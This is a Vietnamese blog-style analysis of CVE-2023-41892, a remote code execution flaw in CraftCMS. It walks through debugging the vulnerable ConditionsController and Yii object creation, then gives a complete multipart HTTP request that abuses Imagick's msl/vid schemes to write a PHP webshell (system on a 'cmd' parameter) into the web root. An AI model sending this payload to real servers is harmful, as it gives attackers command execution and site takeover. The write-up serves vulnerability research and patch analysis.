CVE-2023-41892 CraftCMS RCE
Cũng tương đối lâu kể từ lần cuối viết phân tích 1-day, hôm nay mình sẽ quay trở lại với CVE-2023-41892 trên sản phẩm CraftCMS RCE. Ở blog này, bên cạch khía cạnh kỹ thuật mình cũng sẽ nêu rõ quá trình, suy nghĩ của mình khi phân tích con hàng này
Setup
Tạo máy ảo ubuntu VMWare, tải version lỗi 4.4.14 từ https://github.com/craftcms/cms/releases. Giải nén ra sau đó cd vào folder này, sau đó chạy các lệnh sau, nhớ install docker vs ddev trước nhé
1
2
3
4
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer install
ddev craft install
ddev launch
Để debug chỉ đơn giản chạy lệnh ddev xdebug on
. Sau đó cấu hình file launch.json trên Visual Studio Code để debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"hostname": "0.0.0.0",
"port": 9003,
"pathMappings": {
"/var/www/html": "${workspaceFolder}"
}
}
]
}
CVE-2023-41892
Theo như blog của Calif, lỗ hổng tồn tại trong lớp \craft\controllers\ConditionsController
cho phép chúng ta tạo một thể hiện của đối tượng tùy ý thông qua phương thức beforeAction
. Tên hàm này khiến mình có cảm giác sẽ không cần bất kỳ kỹ thuật bypass xác thực nào ở đây. Sử dụng qua một số chức năng trên giao diện web, endpoint dùng để login có dạng /index.php?p=admin%2Factions%2Fusers%2Flogin&v=1703690216395
, nó gọi đến hàm actionLogin
trong UsersController.php
. Từ đây mình có thể đoán ra cách CraftCMS thực hiện routing. Ngay lập tức mình đặt breakpoint trong hàm beforeAction
, sau đó thay đổi tham số p
thành admin/actions/conditions/render
, cái này sẽ gọi đến actionRender
trong lớp ConditionsController
. Đúng như mình nghĩ, nó sẽ chuyển đến BeforeAction
trước khi thực hiện bất kỳ action nào trong controller.
Oke cùng xem hàm này có thể tạo một instance của class bất kỳ như thế nào. Vì login request sử dụng json nên mình cũng thế
Ở dòng 37, baseConfig
được lấy từ config
trong jsonbody, sau đó config
sẽ được gán bởi giá trị trong json với khóa baseConfig[name]
. Vì thế ban đầu mình sử dụng payload này để debug
1
2
3
4
5
6
7
8
{
"config": {
"name": "asd"
},
"asd": {
"test": "azxczzxcv"
}
}
Ở dòng 41 gọi đến hàm createCondition
với config
Payload của mình bắn ra lỗi ở dòng 51, có nghĩa là lớp của chúng ta phải implements ConditionInterface
. Chỉ có một class thoả mãn điều kiện này craft\elements\conditions\ElementCondition
, đến đây payload có dạng như sau
1
2
3
4
5
6
7
8
9
{
"config": {
"name": "asd"
},
"asd": {
"class": "craft\\elements\\conditions\\ElementCondition",
"test": "123"
}
}
Ở dòng 66 nó gọi Craft::createObject
, ta điều khiển được tham số đầu tiên của hàm này
Yii::createObject()
Vì kiểu của $type
là mảng nên nó sẽ xuống dòng 365
sau đó xuống dòng 170
Hàm build
thực hiện tạo object tuỳ ý, tuy nhiên class của mình vẫn đang bị ràng buộc là ElementCondition
. Đến đoạn này mình thấy khá vô lý và đọc lại blog của Calif thì thấy rằng source->sink không phải đi theo dường này mà là
Cùng xem hàm Craft::configure
Bên trong hàm này chỉ set thuộc tính cho đối tượng, sao lại có flow như trong blog đã nêu, quan sát mô tả của hàm \yii\base\Component::__set
mới hiểu ra vấn đề
Hàm này là một dạng magic method được kích hoạt mỗi khi thực hiện set thuộc tính cho component theo dạng $component->property = $value;
, đầu vào của hàm đương nhiên là key vs value không cần nghĩ nhiều, hiện tại mình hoàn toàn control được hai param này
Để chạy được vào sink Yii::createObject
ở dòng 191. key của mình phải có chuỗi ‘as ‘ bên trong, ngay lập tức mình debug với payload mới
Ngon lành, lỗi trả về chỉ ra rằng class vớ vẩn ddd
của mình không tồn tại. Theo như blog của Calif, để khai thác cần tạo instance của Imagick. Như đã đề cập ở trên, hàm build
được dùng để tạo object bất kỳ
Dòng 389 $addDependencies
được set giá trị từ $config['__construct()'];
sau đó được merge vào $dependencies
ở dòng 402, sau đó $dependencies
được dùng cho tham số để tạo instance ở dòng 422
Cuối cùng payload để tạo Imagick như sau
Đến đây đã có điều kiện cần, bây giờ bắt tay vào đọc blog được Calif refer. Mình khuyến khích ae đọc kỹ bài blog này vì nó giúp mình biến thành con cá - mở mang :))). Mình sẽ tóm gọn lại thứ chúng ta cần
Hàm constructor của Imagick nhận vào đường dẫn file, tuy nhiên cũng hỗ trợ rất nhiều scheme khác như https:
, … trong đó có msl:<file path>
cho phép upload shell thông qua file xml dạng như sau
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<image>
<!-- Shell -->
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>" />
<!-- File to write -->
<write filename="info:/var/www/html/web/shell.jsp" />
</image>
Đến đây cần 2 bước để upload shell
- Tải lên tệp chứa nội dung xml, biết đường dẫn đến file này
- Sử dụng
msl:
với đường dẫn ở bước 1 làm tham số cho Imagick để copy shell đến file bất kỳ
Ở bước 1 chúng ta sẽ lợi dụng khả năng tạo file tmp của php. Bất cứ khi nào ở trong POST body có tồn tại file, 1 file dạng php*
sẽ được tạo bên trong /tmp
File này sẽ được xoá đi sau khi handle xong request, nhưng chúng ta có thể ngăn chặn điều này bằng cách gây crash apache proccess như trong blog nghiên cứu đã nói rõ. Tuy nhiên hiện tại body của mình vẫn ở dạng JSON làm sao có thể gửi file lên server. Mình thử đổi body sang dạng multipart/form-data
thì mọi thứ vẫn hoạt động như thường. Việc biết tên file trong /tmp cũng không cần thiết nếu sử dụng scheme vid:
bao bên ngoài msl:
. Cuối cùng payload duy nhất để kết hợp cả 2 bước trong 1 request như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST /index.php?p=admin%2factions%2fconditions%2frender&v=1703660891325 HTTP/1.1
Host: craftcms.ddev.site
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Length: 1132
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[name]"
asd
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[as ][class]"
Imagick
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[as ][__construct()][files][]"
vid:msl:/tmp/php*
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[class]"
craft\elements\conditions\ElementCondition
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[config]"
{"class":"Imagick"}
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[conditionRules][]"
asdasd
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="c"; filename="myfile.txt"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<!-- Shell -->
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>" />
<!-- File to write -->
<write filename="info:/var/www/html/web/shell.php" />
</image>
------WebKitFormBoundary2IhoVgklk5mpdsTT--
Truy cập webshell